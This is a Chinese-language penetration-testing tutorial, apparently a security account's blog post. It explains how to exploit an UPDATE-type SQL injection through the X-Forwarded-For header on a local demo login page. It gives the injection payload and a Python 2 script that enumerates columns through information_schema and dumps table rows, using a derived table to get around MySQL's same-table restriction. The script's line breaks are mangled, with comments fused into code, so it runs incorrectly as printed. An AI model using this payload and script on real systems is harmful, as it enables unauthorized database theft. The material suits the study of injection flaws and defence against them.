前言
当我们进行web渗透测试的时候,往往会遇到update注入点,这种注入点往往会被利用来篡改数据(比如全表密码字段update),且不太方便用sqlmap跑出数据。
但有时候也会碰到update型注入点所更新的表中有字段会在某些页面中显示(比如用户邮箱,或者用户昵称之类的),这导致数据很容易被读取。而在渗透测试中,该操作相对前者破坏力没那么大,可用于进一步的渗透测试安全检测中。下面将为大家讲解一个以此为背景搭建的模拟环境的数据读取的脚本的编写。
Part.1 利用
搭建了一个存在头注入( update 型)的环境,登陆成功将记录登陆者的IP地址入库,为了方便演示登陆成功后还将获取users表中的email值。
对应的表的内容如下:
关键代码如下所示:
结合表以及代码我们可以简单判断出注入语句如下:
1.1.1.1',email=(selectuser()) where username='admin'#
我们利用火狐的 Modify Headers 进行注入测试
可以看出我们的语句成功注入,并且email值获取的即为我们想要的内容。
接下来就是惯例的获取表名以及列名了,然后就可以跑想要的数据啦。但是注意到我们是update的sql语句,所以查询语句是不允许查询当前update表的,否则会无效,如下图:
正确的做法是利用临时表来获取该表的数据,如下图:
所有数据都知道怎么获取那么就可以编写我们的脚本了。
Part 2.脚本编写
#!/usr/bin/python
# ‐*‐ coding: utf‐8 ‐*‐
import HTMLParser
import urlparse
import urllib
import urllib2
import cookielib
import string
import binascii
import re
import time
#截取字符串中startStr,endStr中间的值 def GetMiddleStr(content,startStr,endStr):
patternStr = r'%s(.+?)%s'%(startStr,endStr) p = re.compile(patternStr,re.S)
m= re.search(p,content) if m:
return m.group(1)
#跑表数量(mode0为跑表字段数目,否则为表的数据量(仍然要注意update型以及select同一个表的冲突问题)) def count(table_name,mode):
if mode==0: tn16=binascii.b2a_hex(table_name.encode("utf8"))
sql_count='1.1.1.1\',email=(select count(COLUMN_NAME) from information_schema.columns where table_name=0x'+tn16+' and table_schema=database()) where username=\'admin\'#'
else:
if table_name=='testuser':
sql_count='1.1.1.1\',email=(select count(*) from ( select * from testuser) as x) where username=\'admin\'#'
else:
sql_count='1.1.1.1\',email=(select count(*) from '+table_name+') where username=\'admin\'#'
return sql_count
#跑表的列名用到的sql注入语句 def sql_column(table_name,num):
tn16=binascii.b2a_hex(table_name.encode("utf8"))
sql_column='1.1.1.1\',email=(select COLUMN_NAME from information_schema.columns where table_name=0x'+tn16+' limit '+str(num)+',1 ) where username=\'admin\'#'
return sql_column
#跑表的内容
def sql_data(table_name,column,num):
sql_data='1.1.1.1\',email=(select '+column+' from '+table_name+' order by id limit '+str(num)+',1) where username=\'admin\'#'
return sql_data
#跑表的内容(与update所用表(即演示中的testuser表)冲突使用) def sql_users(column,num):
sql_users='1.1.1.1\',email=(select '+column+' from ( select * from testuser) as x order by ID limit '+str(num)+',1) where username=\'admin\'#'
return sql_users
#注入,先模拟登陆后截取结果 def inject(posturl,sql):
try:
cookieJar=cookielib.CookieJar() opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))
headers = {'User‐Agent' : 'Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04',
'X‐Forwarded‐For' : sql} postData = {'uname' : 'admin',
'passwd' : 'admin',
'submit' : 'Submit' } postData = urllib.urlencode(postData)
request = urllib2.Request(posturl, postData, headers) result = opener.open(request)
str=result.read()
m=GetMiddleStr(str,'your email is:','</font><br>') return m
except Exception,err: err = 'weberror' raise Exception(err)if __name__ == '__main__':
posturl = 'http://127.0.0.1/1qaz/index.php' table_name=['testuser','test1']
#先跑表的各字段名,并存放到临时的column_name中 for table in table_name:
column_name=[] sql_count=inject(posturl,count(table,0)) print table+":\r\n"
for num in range(int(sql_count)): sql=sql_column(table,num) try:
m=inject(posturl,sql) column_name.append(m)
except TypeError: print 'error'
print column_name
#跑对应的数据 for num in range(int(inject(posturl,count(table,1)))):data=[]
for column in column_name: if table=='testuser':
sql=sql_users(column,num) else:
sql=sql_data(table,column,num) m=inject(posturl,sql) data.append(m)
print data print "\n"
最后运行的效果:
总结
我们注意到update型注入的话,其可能出现在更改密码,登陆过程记录IP等操作中,相对于直接利用注释符update全部数据带来的影响,在渗透测试中利用该注入点来获取数据从而进一步做安全检测则更为稳健一些,当然这需要一些前提,比如需要对其利用的表结构有一定了解。
本篇教程主要针对的就是我们在某个页面看到update注入点所涉及表的一个数据,然后对其进行update操作来获取我们想要的内容从而进一步做安全检测,其中注意到的一个小细节就是update与select同一张表的冲突问题需要利用创建临时表来解决。
更多安全资讯,只在公众号“ansheng47”和“ANSCEN-ISEC”